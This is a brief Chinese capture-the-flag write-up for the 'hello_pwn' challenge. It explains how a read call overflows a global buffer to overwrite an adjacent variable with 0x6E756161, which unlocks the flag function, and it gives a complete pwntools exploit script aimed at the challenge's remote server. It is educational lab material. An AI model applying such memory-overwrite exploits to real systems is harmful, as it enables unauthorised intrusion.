hello_pwn

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0x00 file & checksec(打码打码，看不到看不到)

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0x01 ida查看

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• read可以读入0x10字节
• 0x601068和0x60106C相差不足0x10字节，可以溢出覆盖
• 查看sub_400686()函数可以拿到flag
• 所以思路就是read函数处溢出覆盖0x60106C处为0x6E756161

0x02 完整exp

from pwn import *

local=0
pc='./hello_pwn'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    gdb.attach(p,'c')
else:
    remote_addr=['111.198.29.45', 54891]
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

if __name__ == '__main__':
    rl()
    rl()
    payload = 'fake' + p64(0x6e756161)
    sl(payload)
    p.interactive()

0x03 结果

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